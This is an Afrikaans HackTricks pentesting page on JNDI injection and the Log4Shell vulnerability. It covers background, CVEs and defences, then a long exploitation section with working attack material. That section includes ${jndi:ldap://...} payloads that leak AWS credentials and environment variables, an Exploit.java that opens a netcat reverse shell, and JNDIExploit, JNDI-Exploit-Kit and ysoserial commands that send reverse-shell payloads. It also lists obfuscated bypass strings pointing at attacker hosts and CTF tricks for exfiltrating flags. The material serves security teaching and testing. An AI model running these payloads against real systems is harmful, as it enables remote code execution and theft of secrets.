Afrikaans - Ht
HackTricks Training Twitter Linkedin Sponsor

JNDI - Java Naming and Directory Interface & Log4Shell

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Try Hard Security Group

LogoJoin the Try Hard Security Discord Server!Discord

Basiese Inligting

JNDI, geïntegreer in Java sedert die laat 1990's, dien as 'n gidsdiens, wat Java-programme in staat stel om data of voorwerpe deur 'n benamingsisteem te vind. Dit ondersteun verskeie gidsdienste via diensverskafferinterfaces (SPI's), wat dataterugwinning van verskillende stelsels, insluitend afgeleë Java-voorwerpe, moontlik maak. Gewone SPI's sluit CORBA COS, Java RMI Register, en LDAP in.

JNDI Benamingsverwysing

Java-voorwerpe kan gestoor en opgehaal word deur JNDI Benamingsverwysings, wat in twee vorms voorkom:

  • Benamingsadres: Spesifiseer 'n voorwerp se ligging (bv., rmi://bediener/ref), wat direkte ophaling vanaf die gespesifiseerde adres moontlik maak.

  • Afgeleë Fabriek: Verwys na 'n afgeleë fabriekklas. Wanneer dit benader word, word die klas afgelaai en geïnstantieer vanaf die afgeleë ligging.

Hierdie meganisme kan egter uitgebuit word, wat moontlik lei tot die laai en uitvoering van willekeurige kode. As 'n teenmaatreël:

  • RMI: java.rmi.server.useCodeabseOnly = true standaard vanaf JDK 7u21, wat afgeleë voorwerp laai beperk. 'n Sekuriteitsbestuurder beperk verder wat gelaai kan word.

  • LDAP: com.sun.jndi.ldap.object.trustURLCodebase = false standaard vanaf JDK 6u141, 7u131, 8u121, wat die uitvoering van afgeleë gelaai Java-voorwerpe blokkeer. Indien dit op true ingestel word, is afgeleë kode-uitvoering moontlik sonder 'n Sekuriteitsbestuurder se toesig.

  • CORBA: Het nie 'n spesifieke eienskap nie, maar die Sekuriteitsbestuurder is altyd aktief.

Die Benamingsbestuurder, verantwoordelik vir die oplossing van JNDI-skakels, het nie ingeboude sekuriteitsmeganismes nie, wat moontlik die ophaling van voorwerpe van enige bron toelaat. Dit stel 'n risiko as RMI, LDAP, en CORBA-beskerming omseil kan word, wat lei tot die laai van willekeurige Java-voorwerpe of die uitbuiting van bestaande toepassingskomponente (toestelle) om skadelike kode uit te voer.

Voorbeelde van uitbuitbare URL's sluit in:

  • rmi://aanvaller-bediener/bar

  • ldap://aanvaller-bediener/bar

  • iiop://aanvaller-bediener/bar

Ten spyte van beskerming bly kwesbaarhede, hoofsaaklik as gevolg van die gebrek aan beskerming teen die laai van JNDI van onbetroubare bronne en die moontlikheid om bestaande beskerming te omseil.

JNDI Voorbeeld

Selfs al het jy 'n PROVIDER_URL ingestel, kan jy 'n ander een aandui in 'n opsoek en dit sal toegang kry: ctx.lookup("<aanvaller-beheerde-url>") en dit is wat 'n aanvaller sal misbruik om willekeurige voorwerpe van 'n stelsel wat deur hom beheer word, te laai.

CORBA Oorsig

CORBA (Common Object Request Broker Architecture) gebruik 'n Interoperable Object Reference (IOR) om afgeleë voorwerpe uniek te identifiseer. Hierdie verwysing sluit noodsaaklike inligting in soos:

  • Tipe-ID: Unieke identifiseerder vir 'n koppelvlak.

  • Kodebasis: URL vir die verkryging van die stub-klas.

Dit is opmerklik dat CORBA nie inherent kwesbaar is nie. Om sekuriteit te verseker, behels dit tipies:

  • Installasie van 'n Sekuriteitsbestuurder.

  • Konfigurering van die Sekuriteitsbestuurder om koppelings na potensieel skadelike kodebasisse toe te laat. Dit kan bereik word deur:

  • Soket-toestemming, bv., permissions java.net.SocketPermission "*:1098-1099", "connect";.

  • Lêerleestoestemming, óf universeel (permission java.io.FilePermission "<<ALL FILES>>", "read";) óf vir spesifieke gidsies waar skadelike lêers geplaas kan word.

Sommige vervaardigerbeleide mag egter inskiklik wees en hierdie koppelings standaard toelaat.

RMI Konteks

Vir RMI (Remote Method Invocation) is die situasie effens anders. Soos met CORBA, is die aflaai van willekeurige klasse standaard beperk. Om RMI uit te buit, sou 'n aanvaller tipies die Sekuriteitsbestuurder moet omseil, 'n prestasie wat ook relevant is in CORBA.

LDAP

Eerstens moet ons onderskei tussen 'n Soektog en 'n Opsoek. 'N soektog sal 'n URL soos ldap://localhost:389/o=JNDITutorial gebruik om die JNDITutorial-voorwerp van 'n LDAP-bediener te vind en sy eienskappe op te haal. 'N opsoek is bedoel vir benamingsdienste aangesien ons wil kry wat ook al aan 'n naam gebind is.

Indien die LDAP-soektog geaktiveer is met SearchControls.setReturningObjFlag() met true, sal die teruggekeerde voorwerp herkonstrueer word.

Daarom is daar verskeie maniere om hierdie opsies aan te val. 'N aanvaller kan LDAP-rekords vergiftig deur lading daarop in te voer wat in die stelsels wat dit versamel, uitgevoer sal word (baie nuttig om tientalle masjiene te kompromiteer as jy toegang het tot die LDAP-bediener). 'N Ander manier om dit uit te buit, sou wees om 'n MitM-aanval in 'n LDAP-soektog byvoorbeeld uit te voer.

In die geval dat jy 'n toepassing kan maak om 'n JNDI LDAP-URL op te los, kan jy die LDAP wat gesoek sal word, beheer, en jy kan die uitbuiting terugstuur (log4shell).

Deserialisasie-uitbuiting

Die uitbuiting is geserializeer en sal gedeserializeer word. Indien trustURLCodebase true is, kan 'n aanvaller sy eie klasse in die kodebasis voorsien, indien nie, sal hy gadgets in die klasklas moet misbruik.

JNDI Verwysingsuitbuiting

Dit is makliker om hierdie LDAP aan te val met JavaFactory-verwysings:

Log4Shell Kwesbaarheid

Die kwesbaarheid word ingebring in Log4j omdat dit 'n spesiale sintaksis ondersteun in die vorm ${prefix:name} waar prefix een van 'n aantal verskillende Opsoekinge is waar name geëvalueer moet word. Byvoorbeeld, ${java:version} is die huidige lopende weergawe van Java.

LOG4J2-313 het 'n jndi Opsoek-funksie ingevoer. Hierdie funksie maak die verkryging van veranderlikes deur JNDI moontlik. Gewoonlik word die sleutel outomaties voorafgegaan deur java:comp/env/. Indien die sleutel self 'n ":" insluit, word hierdie verstek voorvoegsel nie toegepas nie.

Met 'n : teenwoordig in die sleutel, soos in ${jndi:ldap://voorbeeld.com/a} is daar geen voorvoegsel en word die LDAP-bediener ondervra vir die voorwerp. En hierdie Opsoekinge kan gebruik word in beide die konfigurasie van Log4j sowel as wanneer lyne gelog word.

Daarom is die enigste ding wat nodig is om RCE te kry 'n kwesbare weergawe van Log4j wat inligting verwerk wat deur die gebruiker beheer word. En omdat dit 'n biblioteek is wat wyd deur Java-toepassings gebruik word om inligting te log (insluitend aan die internet blootgestelde toepassings) was dit baie algemeen om byvoorbeeld log4j-logboeke te hê wat HTTP-koppele ontvang soos die Gebruiker-Agent. Nietemin, word log4j nie net gebruik om HTTP-inligting te log nie, maar enige insette en data wat die ontwikkelaar aangedui het.

Oorsig van Log4Shell-Verwante CVE's

CVE-2021-44228 [Krities]

Hierdie kwesbaarheid is 'n kritieke onbetroubare deserialisasie fout in die log4j-core komponent, wat weergawes vanaf 2.0-beta9 tot 2.14.1 affekteer. Dit maak afgeleë kode-uitvoering (RCE) moontlik, wat aanvallers in staat stel om stelsels oor te neem. Die probleem is gerapporteer deur Chen Zhaojun van die Alibaba Cloud Security-span en affekteer verskeie Apache-raamwerke. Die aanvanklike regstelling in weergawe 2.15.0 was onvolledig. Sigma-reëls vir verdediging is beskikbaar (Reël 1, Reël 2).

CVE-2021-45046 [Krities]

Aanvanklik as laag beoordeel maar later opgegradeer na krities, is hierdie CVE 'n Diensweier (DoS) fout as gevolg van 'n onvolledige regstelling in 2.15.0 vir CVE-2021-44228. Dit affekteer nie-standaard konfigurasies, wat aanvallers in staat stel om DoS-aanvalle deur doelgerigte vragte te veroorsaak. 'n tweet toon 'n omseilingsmetode. Die probleem is opgelos in weergawes 2.16.0 en 2.12.2 deur boodskopsoekpatrone te verwyder en JNDI standaard af te skakel.

CVE-2021-4104 [Hoog]

Wat Log4j 1.x weergawes affekteer in nie-standaard konfigurasies wat JMSAppender gebruik, is hierdie CVE 'n onbetroubare deserialisasie fout. Geen regstelling is beskikbaar vir die 1.x-tak nie, wat einde-van-die-lyn is, en dit word aanbeveel om na log4j-core 2.17.0 op te gradeer.

CVE-2021-42550 [Matig]

Hierdie kwesbaarheid affekteer die Logback-lograamwerk, 'n opvolger van Log4j 1.x. Voorheen is gedink dat die raamwerk veilig is, maar dit is gevind dat dit kwesbaar is, en nuwer weergawes (1.3.0-alpha11 en 1.2.9) is vrygestel om die probleem aan te spreek.

CVE-2021-45105 [Hoog]

Log4j 2.16.0 bevat 'n DoS-fout, wat die vrystelling van log4j 2.17.0 aanmoedig om die CVE te regstel. Verdere besonderhede is in BleepingComputer se verslag.

CVE-2021-44832

Wat log4j weergawe 2.17 affekteer, vereis hierdie CVE dat die aanvaller die konfigurasie lêer van log4j beheer. Dit behels potensiële willekeurige kode-uitvoering via 'n gekonfigureerde JDBCAppender. Meer besonderhede is beskikbaar in die Checkmarx blogpos.

Log4Shell Uitbuiting

Ontdekking

Hierdie kwesbaarheid is baie maklik om te ontdek indien onbeskerm omdat dit ten minste 'n DNS-versoek na die adres sal stuur wat jy in jou vrag aandui. Daarom, vragte soos:

  • ${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a} (met behulp van canarytokens.com)

  • ${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh} (met behulp van interactsh)

  • ${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net} (met behulp van Burp Suite)

  • ${jndi:ldap://2j4ayo.dnslog.cn} (met behulp van dnslog)

  • ${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520} (met behulp van huntress)

Merk op dat selfs as 'n DNS-versoek ontvang word, beteken dit nie dat die aansoek uitgebuit kan word (of selfs kwesbaar is nie), jy sal moet probeer om dit uit te buit.

Onthou dat om weergawe 2.15 uit te buit jy die localhost kontrole omseiling moet byvoeg: ${jndi:ldap://127.0.0.1#...}

Plaaslike Ontdekking

Soek na plaaslike kwesbare weergawes van die biblioteek met:

find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"

Verifikasie

Sommige van die platforms wat voorheen gelys is, sal jou toelaat om sekere veranderlike data in te voeg wat geregistreer sal word wanneer dit aangevra word. Dit kan baie nuttig wees vir 2 dinge:

  • Om die kwesbaarheid te verifieer

  • Om inligting te eksfileer deur die kwesbaarheid te misbruik

Byvoorbeeld kan jy iets soos aanvra: of soos ${jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a} en as 'n DNS-aanvraag ontvang word met die waarde van die omgewingsveranderlike, weet jy dat die aansoek kwesbaar is.

Ander inligting wat jy kan probeer lek:

${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
${env:AWS_PROFILE}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:HOSTNAME}
${env:JAVA_VERSION}
${env:PATH}
${env:USER}
${hostName}
${java.vendor}
${java:os}
${java:version}
${log4j:configParentLocation}
${sys:PROJECT_HOME}
${sys:file.separator}
${sys:java.class.path}
${sys:java.class.path}
${sys:java.class.version}
${sys:java.compiler}
${sys:java.ext.dirs}
${sys:java.home}
${sys:java.io.tmpdir}
${sys:java.library.path}
${sys:java.specification.name}
${sys:java.specification.vendor}
${sys:java.specification.version}
${sys:java.vendor.url}
${sys:java.vendor}
${sys:java.version}
${sys:java.vm.name}
${sys:java.vm.specification.name}
${sys:java.vm.specification.vendor}
${sys:java.vm.specification.version}
${sys:java.vm.vendor}
${sys:java.vm.version}
${sys:line.separator}
${sys:os.arch}
${sys:os.name}
${sys:os.version}
${sys:path.separator}
${sys:user.dir}
${sys:user.home}
${sys:user.name}

Any other env variable name that could store sensitive information

RCE Inligting

Gasheerstelsels wat op JDK-weergawes bokant 6u141, 7u131, of 8u121 loop, is teen die LDAP-klasselaai-aanvalvektor beskerm. Dit is as gevolg van die verstek deaktivering van com.sun.jndi.ldap.object.trustURLCodebase, wat voorkom dat JNDI 'n afgeleë kodebasis via LDAP laai. Dit is egter noodsaaklik om daarop te let dat hierdie weergawes nie teen die deserialisasie-aanvalvektor beskerm is nie.

Vir aanvallers wat daarop gemik is om hierdie hoër JDK-weergawes te benut, is dit nodig om 'n vertroude toestel binne die Java-toepassing te benut. Gereedskap soos ysoserial of JNDIExploit word dikwels vir hierdie doel gebruik. Aan die ander kant is dit relatief makliker om laer JDK-weergawes te benut aangesien hierdie weergawes gemanipuleer kan word om willekeurige klasse te laai en uit te voer.

Vir meer inligting (soos beperkings op RMI- en CORBA-vektore) kyk na die vorige JNDI-naamverwysingsafdeling of https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/

RCE - Marshalsec met aangepaste vrag

Jy kan dit toets in die THM-boks: https://tryhackme.com/room/solar

Gebruik die gereedskap marshalsec (jar-weergawe beskikbaar hier). Hierdie benadering stel 'n LDAP verwysingbediener op om verbindinge na 'n sekondêre HTTP-bedienaar te stuur waar die uitbuiting gehuisves sal word:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"

Om die teiken aan te spoor om 'n omgekeerde dop te laai, skep 'n Java-lêer met die naam Exploit.java met die volgende inhoud:

public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}

Voer die Java-lêer in 'n klaskêer in met: javac Exploit.java -source 8 -target 8. Volgende, inisieer 'n HTTP-bediener in die gids wat die klaskêer bevat met: python3 -m http.server. Verseker dat die marshalsec LDAP-bediener na hierdie HTTP-bediener verwys.

Lok die uitvoering van die uitbuitklas op die vatbare webbediener uit deur 'n lading te stuur wat lyk soos:

${jndi:ldap://<LDAP_IP>:1389/Exploit}

Nota: Hierdie uitbuiting steun op Java se konfigurasie om afgeleë kodebasisse te laai via LDAP. Indien dit nie toegelaat word nie, oorweeg om 'n vertroude klas uit te buit vir willekeurige kode-uitvoering.

RCE - JNDIExploit

Let daarop dat die skrywer hierdie projek om een ​​of ander rede van github verwyder het na die ontdekking van log4shell. Jy kan 'n gekaapte weergawe vind op https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2 maar as jy die skrywer se besluit wil respekteer, gebruik 'n ander metode om hierdie kwesbaarheid uit te buit.

Daarbenewens kan jy nie die bronkode in die wayback-masjien vind nie, so analiseer die bronkode, of voer die jar uit met die wete dat jy nie weet wat jy uitvoer nie.

Vir hierdie voorbeeld kan jy net hierdie kwesbare webbediener vir log4shell hardloop op poort 8080: https://github.com/christophetd/log4shell-vulnerable-app (in die README sal jy vind hoe om dit te hardloop). Hierdie kwesbare program log met 'n kwesbare weergawe van log4shell die inhoud van die HTTP-versoekkop X-Api-Version.

Daarna kan jy die JNDIExploit jar-lêer aflaai en dit uitvoer met:

wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access

Na die lees van die kode net 'n paar minute, in com.feihong.ldap.LdapServer en com.feihong.ldap.HTTPServer kan jy sien hoe die LDAP en HTTP bedieners geskep word. Die LDAP-bediener sal verstaan watter lading bedien moet word en sal die slagoffer na die HTTP-bediener omskakel, wat die uitbuiting sal bedien. In com.feihong.ldap.gadgets kan jy sekere spesifieke toestelle vind wat gebruik kan word om die gewenste aksie uit te voer (potensieel arbitrêre kode uit te voer). En in com.feihong.ldap.template kan jy die verskillende templaatklasse sien wat die uitbuitings sal genereer.

Jy kan al die beskikbare uitbuitings sien met java -jar JNDIExploit-1.2-SNAPSHOT.jar -u. Sommige nuttige is:

ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more

Dus, in ons voorbeeld, het ons reeds daardie kwesbare docker-toepassing wat loop. Om dit aan te val:

# Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

# Get a reverse shell (only unix)
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'

Wanneer jy die aanvalle stuur, sal jy 'n paar uitsette sien in die terminaal waar jy JNDIExploit-1.2-SNAPSHOT.jar uitgevoer het.

Onthou om java -jar JNDIExploit-1.2-SNAPSHOT.jar -u te kontroleer vir ander uitbuitingsopsies. Verder, indien nodig, kan jy die poort van die LDAP en HTTP bedieners verander.

RCE - JNDI-Exploit-Kit

Op 'n soortgelyke manier as die vorige uitbuiting, kan jy probeer om JNDI-Exploit-Kit te gebruik om hierdie kwesbaarheid uit te buit. Jy kan die URL's genereer om aan die slagoffer te stuur deur te hardloop:

# Get reverse shell in port 4444 (only unix)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444

# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"

Hierdie aanval met 'n aangepaste gegenereerde Java-voorwerp sal werk in laboratoriums soos die THM solar room. Dit sal egter nie gewoonlik werk nie (aangesien Java nie standaard ingestel is om afgeleë kodebasisse te laai deur middel van LDAP) ek dink omdat dit nie 'n vertroude klas misbruik om willekeurige kode uit te voer nie.

RCE - JNDI-Injection-Exploit-Plus

https://github.com/cckuailong/JNDI-Injection-Exploit-Plus is nog 'n instrument om werkende JNDI-skakels te genereer en agtergronddienste te voorsien deur 'n RMI-bediener, LDAP-bediener en HTTP-bediener te begin.\

RCE - ysoserial & JNDI-Exploit-Kit

Hierdie opsie is werklik nuttig om Java-weergawes aan te val wat slegs vertroue in sekere klasse het en nie almal nie. Daarom sal ysoserial gebruik word om serialisasies van vertroue klasse te genereer wat as toestelle gebruik kan word om willekeurige kode uit te voer (die vertroue klas wat deur ysoserial misbruik word, moet deur die slagoffer Java-program gebruik word sodat die uitbuiting kan werk).

Deur ysoserial of ysoserial-aangepas te gebruik, kan jy die deserialisasie-uitbuiting skep wat deur JNDI afgelaai sal word:

# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser

Gebruik JNDI-Exploit-Kit om JNDI-skakels te genereer waar die aanval wag vir verbinding vanaf die kwesbare masjiene. Jy kan verskillende aanvalle wat outomaties gegenereer kan word deur die JNDI-Exploit-Kit of selfs jou eie deserialisasie-vragte (deur jou gegenereer of ysoserial) bedien.

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser

Nou kan jy maklik 'n gegenereerde JNDI-skakel gebruik om die kwesbaarheid uit te buit en 'n omgekeerde dop te verkry deur dit na 'n kwesbare weergawe van log4j te stuur: ${ldap://10.10.14.10:1389/generated}

Oorskrydings

${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"

Outomatiese Skandeerders

Laboratoria om te toets

Na-Log4Shell Uitbuiting

In hierdie CTF writeup word goed verduidelik hoe dit moontlik is om sekere kenmerke van Log4J te misbruik.

Die sekuriteitsbladsy van Log4j het 'n paar interessante sinne:

Vanaf weergawe 2.16.0 (vir Java 8) is die boodskapopsoek-funksie heeltemal verwyder. Opsoeke in konfigurasie werk nog steeds. Verder, Log4j deaktiveer nou toegang tot JNDI standaard. JNDI-opsoeke in konfigurasie moet nou eksplisiet geaktiveer word.

Vanaf weergawe 2.17.0 (en 2.12.3 en 2.3.1 vir Java 7 en Java 6), word slegs opsoekreekse in konfigurasie rekursief uitgebrei; in enige ander gebruik, word slegs die boonste vlak van opsoek opgelos, en enige geneste opsoeke word nie opgelos nie.

Dit beteken dat jy standaard enige jndi-uitbuiting kan vergeet. Verder, om rekursiewe opsoek uit te voer, moet jy dit geconfigureer hê.

Byvoorbeeld, in daardie CTF was dit so geconfigureer in die lêer log4j2.xml:

<Console name="Console" target="SYSTEM_ERR">
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
</PatternLayout>
</Console>

Omgewingsopsoekinge

In hierdie CTF het die aanvaller die waarde van ${sys:cmd} beheer en moes die vlag uit 'n omgewingsveranderlike eksfiltreer. Soos gesien op hierdie bladsy in vorige ladinge is daar verskillende maniere om toegang tot omgewingsveranderlikes te verkry, soos: ${env:FLAG}. In hierdie CTF was dit nutteloos, maar dit mag dalk in ander werklike scenarios nuttig wees.

Eksfiltrering in Uitsonderings

In die CTF kon jy nie toegang kry tot die stderr van die Java-toepassing nie deur log4J te gebruik nie, maar Log4J uitsonderings word na stdout gestuur, wat in die Python-toepassing gedruk is. Dit beteken dat deur 'n uitsondering te veroorsaak, kon ons die inhoud verkry. 'n Uitsondering om die vlag te eksfiltreer was: ${java:${env:FLAG}}. Dit werk omdat ${java:CTF{blahblah}} nie bestaan nie en 'n uitsondering met die waarde van die vlag sal vertoon word:

Omskakelingspatrone Uitsonderings

Net om dit te noem, kon jy ook nuwe omskakelingspatrone inspuit en uitsonderings veroorsaak wat na stdout gelog word. Byvoorbeeld:

Dit was nie nuttig bevind om datum binne die foutboodskap te eksfiltreer nie, omdat die opsoek nie opgelos was voor die omskakelingspatroon nie, maar dit kon nuttig wees vir ander dinge soos opsporing.

Omskakelingspatrone Regexes

Dit is egter moontlik om van sommige omskakelingspatrone wat regexes ondersteun gebruik te maak om inligting uit 'n opsoek te eksfiltreer deur regexes te gebruik en binêre soek of tyd-gebaseerde gedrag te misbruik.

  • Binêre soek via uitsonderingsboodskappe

Die omskakelingspatroon %replace kan gebruik word om inhoud van 'n string te vervang selfs deur regexes te gebruik. Dit werk so: replace{pattern}{regex}{substitution} Deur hierdie gedrag te misbruik, kon jy vervanging 'n uitsondering veroorsaak as die regex enige iets binne die string pas (en geen uitsondering as dit nie gevind is nie) soos hierdie:

%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
## and ONLY if it's found ${error} will be resolved with will trigger an exception

  • Tyd-gebaseerd

Soos in die vorige afdeling genoem is, ondersteun %replace regexes. Dit is dus moontlik om 'n lading van die ReDoS-bladsy te gebruik om 'n tyduitloop te veroorsaak as die vlag gevind word. Byvoorbeeld, 'n lading soos %replace{${env:FLAG}}{^(?=CTF)((.))*salt$}{asd} sou 'n tyduitloop in daardie CTF veroorsaak.

In hierdie writeup is daar in plaas van 'n ReDoS-aanval 'n amplifikasie-aanval gebruik om 'n tydverskil in die respons te veroorsaak:

/%replace{
%replace{
%replace{
%replace{
%replace{
%replace{
%replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}

As die vlag met flagGuess begin, word die hele vlag met 29 #-s vervang (ek het hierdie karakter gebruik omdat dit waarskynlik nie deel van die vlag sal wees nie). Elk van die resulterende 29 #-s word dan met 54 #-s vervang. Hierdie proses word 6 keer herhaal, wat lei tot 'n totaal van 29*54*54^6* =`` ``96816014208 #-s!

Om soveel #-s te vervang, sal die 10-sekondetyduitloop van die Flask-toepassing geaktiveer word, wat op sy beurt tot die HTTP-statuskode 500 aan die gebruiker gestuur sal word. (As die vlag nie met flagGuess begin nie, sal ons 'n nie-500 statuskode ontvang)

Verwysings

Try Hard Security Group

LogoJoin the Try Hard Security Discord Server!Discord
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

PreviousPython Yaml DeserializationNextDomain/Subdomain takeover

Last updated